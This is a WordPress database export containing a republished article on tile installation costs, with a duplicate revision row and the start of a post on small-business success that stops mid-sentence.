(3837,1,'2024-02-27 16:11:29','2024-02-27 16:11:29','<!-- wp:paragraph -->\n<p>Figure out your budget for your next flooring, backsplash, or shower project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3838,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-3838\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>As a homeowner, you have the opportunity to design a home that perfectly suits your aesthetic and lifestyle preferences. When deciding on your design game-plan, installing tile can be a great way to customize your space. There are endless possibilities of floor and wall tile options to choose from, whether you want to add eclectic charm or create ultra modern appeal. However, as much variation as there is in style, there is also a wide range of variables that can affect tile installation costs. Below, find a thorough breakdown of tile installation costs and the factors at play, so that you can create a budget for your next project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">How Much Does Tile Installation Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">According to Malllory Micetich, Angi home expert in Austin, Texas, the range for tile installation can vary widely depending on where you’re installing the tiles, the type that you use, the amount of space you need to tile, preparation needed in the space—and a number of other factors. With that in mind, she reports that the Angi cost guide data shows that, on average, the cost for tile installation can be around $2,000, but can range on the low end from $400 to a higher end of $6,500.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">“The labor costs for tile installation can be between $3-$15 per square foot—or, if the contractor charges hourly, it could range between $30-$120 per hour,” Micetich says. “Again, this can vary depending on the prep needed, the type and size of the tiles that you’re using, and the space you\'re tiling.” For example, small, custom made mosaic tiles in an intricate pattern will cost much more than large tiles in a simple pattern, she pointed out.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">What Does Tile Installation Entail?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Tile installation is often a big project that requires a lot of work. “When starting a tile installation process in your home, it’s a great idea to connect with a few pros to get quotes and a better understanding of the size and scope of your project,” Micetich recommends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">The scope of a project will determine what to expect. For example, you might want to upgrade the tile on your kitchen floors, but that will require removing the existing tile, potentially replacing subflooring, and then laying the new tile, grouting and waterproofing it, Micetich says. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Or, if you plan to take on a tile upgrade in your bathroom, there may be mold remediation, drywall repairs and more that need to happen before tile installation can begin, she said. “Understanding this scope with the pro will help you plan your project accordingly and help you avoid any unexpected expenses,” Micetich adds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">What Variables Affect the Project Costs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">Tile installation is a routine job that trained professionals can handle with ease; however, certain factors may influence the overall cost of your project, says Kelly Eacho, associate merchant at The Home Depot in Atlanta, Georgia. Here are some common factors that could affect the cost of installing a tile floor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Removal of Old Flooring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">To begin work, your installers will need to remove any existing flooring, which Eacho says typically costs around $1-$4 per square foot. This task can be quite time-consuming. “Keep in mind that removing old flooring or replacing shower tile may lead to additional costs,” she cautions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Leveling the Flooring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">In some spaces, extra work might be required to establish a level floor, which guarantees a top-notch tile installation can be accomplished, Eacho emphasizes. This typically costs around $0.25-$1, she says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Overall Room Size</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">The removal of old flooring, leveling the floor, and installing new tile is generally more expensive in larger spaces. “It is essential to consider your space’s square footage when estimating the cost of tile installation,” she adds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">How Does the Tile Material Affect the Price?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">The type of material you choose for your tile project impacts your overall project cost. Vinyl tiles are a great budget-friendly option with low installation costs, says Micetech.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">She also noted that ceramic tiles are very popular and also tend to be a bit more budget-friendly than porcelain tiles, however, they aren’t as long lasting. Porcelain tiles may be a bit more expensive upfront, but they are considered to be longer-lasting, versatile, and moisture-resistant, making them a very popular tile choice, Micetich said. “If you want to up your budget, you could also consider stone or glass tiles,” she adds.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Breakdown of Tile Project Costs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">The total cost of your tile installation can fluctuate depending on the room size, chosen materials, design complexity and potential challenges, Eacho says.&nbsp; Here are some average costs to help you create your budget:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-36\">Floor Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-37\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:&nbsp;</strong>$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$8.00/sq. ft.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$1,000-$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Wall Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-40\"><!-- wp:list-item -->\n<li><strong>Tile material:&nbsp;</strong>$2.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting naterials:&nbsp;</strong>$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:&nbsp;</strong>$8.00/sq. ft.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:&nbsp;</strong>$1,000-$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">Shower Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-43\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq. ft</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:</strong>&nbsp;$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$8.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">Backsplash Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-46\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:</strong>&nbsp;$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$600-$800</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$800</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">Which Materials Are Best for Different Projects?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">According to Eacho, some materials do indeed fare better for specific projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-51\"><!-- wp:list-item -->\n<li><strong>Porcelain:</strong>&nbsp;Denser and more durable than ceramic tile with a higher PEI rating (a PEI Rating is given to a tile product based the hardness of its glaze) and lower water absorption, porcelain is a great choice for bathrooms, high-traffic rooms and exteriors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Natural stone:</strong>&nbsp;For outdoor tile projects, stone tends to be the ideal choice due to its natural properties and durability.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Ceramic tile:&nbsp;</strong>As it’s softer than porcelain, Eacho shares that ceramic is easier to cut for installation, and is a great choice for those on a tight budget. “However, it’s important to keep in mind that ceramic is not suited for exterior use due to its water absorption properties,” she says.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-53\">How to Save Money on Tile Installation</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">There are a lot of useful ways that you can keep your installation budget on track. First, it’s a great idea to shop around for tiles, buy in bulk, and look for sales, suggests Micetich. “The tiles themselves will be a big cost, so saving there will help you a lot,” she says.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">If you go with more basic and bigger tiles, it will save your budget. “Smaller and more intricate tiles will be more time-consuming and costly to install,” Micetich adds. “If you want to save, consider just tiling one wall, part of a wall, or a specific feature space. Lastly, if you’re able, do some of the prep work yourself, like removing old tiles.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.realsimple.com/tile-installation-cost-8415164\">ere.</a></p>\n<!-- /wp:paragraph -->','How Much Does Tile Installation Cost? Everything You Need to Know','','publish','closed','closed','','how-much-does-tile-installation-cost-everything-you-need-to-know','','','2024-02-27 16:11:29','2024-02-27 16:11:29','',0,'https://smartinsurance.tips/?p=3837',0,'post','',0),(3838,1,'2024-02-27 16:10:26','2024-02-27 16:10:26','','Untitled-22','','inherit','closed','closed','','untitled-22-3','','','2024-02-27 16:10:26','2024-02-27 16:10:26','',3837,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-22.png',0,'attachment','image/png',0),(3839,1,'2024-02-27 16:11:29','2024-02-27 16:11:29','<!-- wp:paragraph -->\n<p>Figure out your budget for your next flooring, backsplash, or shower project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3838,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-22-1024x1024.png\" alt=\"\" class=\"wp-image-3838\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>As a homeowner, you have the opportunity to design a home that perfectly suits your aesthetic and lifestyle preferences. When deciding on your design game-plan, installing tile can be a great way to customize your space. There are endless possibilities of floor and wall tile options to choose from, whether you want to add eclectic charm or create ultra modern appeal. However, as much variation as there is in style, there is also a wide range of variables that can affect tile installation costs. Below, find a thorough breakdown of tile installation costs and the factors at play, so that you can create a budget for your next project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">How Much Does Tile Installation Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">According to Malllory Micetich, Angi home expert in Austin, Texas, the range for tile installation can vary widely depending on where you’re installing the tiles, the type that you use, the amount of space you need to tile, preparation needed in the space—and a number of other factors. With that in mind, she reports that the Angi cost guide data shows that, on average, the cost for tile installation can be around $2,000, but can range on the low end from $400 to a higher end of $6,500.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">“The labor costs for tile installation can be between $3-$15 per square foot—or, if the contractor charges hourly, it could range between $30-$120 per hour,” Micetich says. “Again, this can vary depending on the prep needed, the type and size of the tiles that you’re using, and the space you\'re tiling.” For example, small, custom made mosaic tiles in an intricate pattern will cost much more than large tiles in a simple pattern, she pointed out.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">What Does Tile Installation Entail?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Tile installation is often a big project that requires a lot of work. “When starting a tile installation process in your home, it’s a great idea to connect with a few pros to get quotes and a better understanding of the size and scope of your project,” Micetich recommends.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">The scope of a project will determine what to expect. For example, you might want to upgrade the tile on your kitchen floors, but that will require removing the existing tile, potentially replacing subflooring, and then laying the new tile, grouting and waterproofing it, Micetich says. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Or, if you plan to take on a tile upgrade in your bathroom, there may be mold remediation, drywall repairs and more that need to happen before tile installation can begin, she said. “Understanding this scope with the pro will help you plan your project accordingly and help you avoid any unexpected expenses,” Micetich adds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">What Variables Affect the Project Costs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">Tile installation is a routine job that trained professionals can handle with ease; however, certain factors may influence the overall cost of your project, says Kelly Eacho, associate merchant at The Home Depot in Atlanta, Georgia. Here are some common factors that could affect the cost of installing a tile floor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Removal of Old Flooring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">To begin work, your installers will need to remove any existing flooring, which Eacho says typically costs around $1-$4 per square foot. This task can be quite time-consuming. “Keep in mind that removing old flooring or replacing shower tile may lead to additional costs,” she cautions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Leveling the Flooring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">In some spaces, extra work might be required to establish a level floor, which guarantees a top-notch tile installation can be accomplished, Eacho emphasizes. This typically costs around $0.25-$1, she says.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Overall Room Size</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">The removal of old flooring, leveling the floor, and installing new tile is generally more expensive in larger spaces. “It is essential to consider your space’s square footage when estimating the cost of tile installation,” she adds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">How Does the Tile Material Affect the Price?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">The type of material you choose for your tile project impacts your overall project cost. Vinyl tiles are a great budget-friendly option with low installation costs, says Micetech.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">She also noted that ceramic tiles are very popular and also tend to be a bit more budget-friendly than porcelain tiles, however, they aren’t as long lasting. Porcelain tiles may be a bit more expensive upfront, but they are considered to be longer-lasting, versatile, and moisture-resistant, making them a very popular tile choice, Micetich said. “If you want to up your budget, you could also consider stone or glass tiles,” she adds.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Breakdown of Tile Project Costs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">The total cost of your tile installation can fluctuate depending on the room size, chosen materials, design complexity and potential challenges, Eacho says.&nbsp; Here are some average costs to help you create your budget:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-36\">Floor Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-37\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:&nbsp;</strong>$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$8.00/sq. ft.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$1,000-$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Wall Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-40\"><!-- wp:list-item -->\n<li><strong>Tile material:&nbsp;</strong>$2.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting naterials:&nbsp;</strong>$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:&nbsp;</strong>$8.00/sq. ft.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:&nbsp;</strong>$1,000-$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">Shower Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-43\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq. ft</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:</strong>&nbsp;$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$8.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$1,500</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">Backsplash Tile</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-46\"><!-- wp:list-item -->\n<li><strong>Tile material:</strong>&nbsp;$2.00/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Setting materials:</strong>&nbsp;$1.37/sq. ft.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Installation:</strong>&nbsp;$600-$800</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Total:</strong>&nbsp;$800</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">Which Materials Are Best for Different Projects?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">According to Eacho, some materials do indeed fare better for specific projects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-51\"><!-- wp:list-item -->\n<li><strong>Porcelain:</strong>&nbsp;Denser and more durable than ceramic tile with a higher PEI rating (a PEI Rating is given to a tile product based the hardness of its glaze) and lower water absorption, porcelain is a great choice for bathrooms, high-traffic rooms and exteriors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Natural stone:</strong>&nbsp;For outdoor tile projects, stone tends to be the ideal choice due to its natural properties and durability.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Ceramic tile:&nbsp;</strong>As it’s softer than porcelain, Eacho shares that ceramic is easier to cut for installation, and is a great choice for those on a tight budget. “However, it’s important to keep in mind that ceramic is not suited for exterior use due to its water absorption properties,” she says.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-53\">How to Save Money on Tile Installation</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">There are a lot of useful ways that you can keep your installation budget on track. First, it’s a great idea to shop around for tiles, buy in bulk, and look for sales, suggests Micetich. “The tiles themselves will be a big cost, so saving there will help you a lot,” she says.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">If you go with more basic and bigger tiles, it will save your budget. “Smaller and more intricate tiles will be more time-consuming and costly to install,” Micetich adds. “If you want to save, consider just tiling one wall, part of a wall, or a specific feature space. Lastly, if you’re able, do some of the prep work yourself, like removing old tiles.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.realsimple.com/tile-installation-cost-8415164\">ere.</a></p>\n<!-- /wp:paragraph -->','How Much Does Tile Installation Cost? Everything You Need to Know','','inherit','closed','closed','','3837-revision-v1','','','2024-02-27 16:11:29','2024-02-27 16:11:29','',3837,'https://smartinsurance.tips/?p=3839',0,'revision','',0),(3840,1,'2024-02-27 16:19:46','2024-02-27 16:19:46','<!-- wp:paragraph -->\n<p>Just about anyone can start a business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3841,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-3841\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Once you fill out a few forms, get the permits or licenses you need, offer a great product or service, and advertise it, it’s safe to say you’re a business owner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a successful business is an entirely different story. Several factors affect the success of a business. In this article, we’ll share the latest data that you need to know before opening a small business. We\'ll talk about the factors that impact business success, and a few pro tips on how to run and maintain a thriving business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does business success look like?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the challenges of running a thriving business is that there are many ways to measure success. Each business owner must create their own unique definition, and stick to it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For many, success means profit. While short-term gains are exciting, long-term wealth and growth are common goals. This may also extend to personal wealth and collecting expensive items like homes or cars. Others assess their value through their ability to solve problems for their customers. And some business owners focus their success on progress toward a dream or mission.<a></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Revenue, gross profit, and cash flow management impact the present and future of every company. But to create sustained value, businesses need to make their own definitions of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The world is changing quickly, and so the strategies and habits that worked in the past don\'t guarantee success today. You may be starting a business for the first time or working to pivot your company in a new direction. Either way, running a business today means staying open and taking in an ever-expanding flood of information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The following steps will help you pay attention to the factors that matter most to business success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Focus on the customer experience.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Customers and prospects have more access to information than ever before. According to HubSpot Research, 79% of customer service teams feel customers are more informed than they were in the past. And almost 90% of surveyed leaders say their expectations are higher than ever before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In many situations, the way you treat your customers has more of an impact than your pricing or products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Customer experience is the impression you give your customer. It tells them what your values are and how much you care about them. And this impacts their perception of your brand across each stage and touchpoint of the customer journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This means that businesses need to focus on every step of the buyer journey. You need to identify the problems on that path and offer new opportunities to create a great customer experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are just a few ways you can build a customer focus:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Make customer experience a priority by gathering insights from everyone on your team</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Take steps to reduce friction and focus energy on what\'s most important to your customers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look at your product experience from their point of view</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Solve problems before they impact your audience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Invest in training and supporting your customer service team</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Customers want and expect a great experience from beginning to end, and they’re willing to pay a premium for it. Are you ready to provide that experience? Are you over-delivering on your CX? To run a successful business, you should be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. A powerful business idea.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The oldest companies in the world have been around for as long as 1,400 years. But many companies struggle to last. In 2021 alone, over 14,000 businesses in the United States filed for bankruptcy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Every business is born from an idea. Some ideas are riskier than others. Some ideas seem like a good plan at the time, but fizzle out over time. There are a few approaches you can take to find an idea that can make your business a success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, start with what you know. If you\'ve ever had a hobby or job you\'re passionate about, you know that every niche is more complex than it seems. As you learn more, you get a clearer picture of the joys and challenges below the surface.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, video games are more popular than ever. But a gamer playing Stardew Valley isn\'t the same audience as someone who\'s into Half-Life. Their different approaches to gaming mean that you\'ll need to get more specific. This will help you find the problems you want to solve with your video game business idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next, you\'ll want to talk to your community. Whether it\'s family and friends or an online group, it\'s smart to test out the value of your ideas with a group of people. This step can help you refine your idea and figure out what the common objections 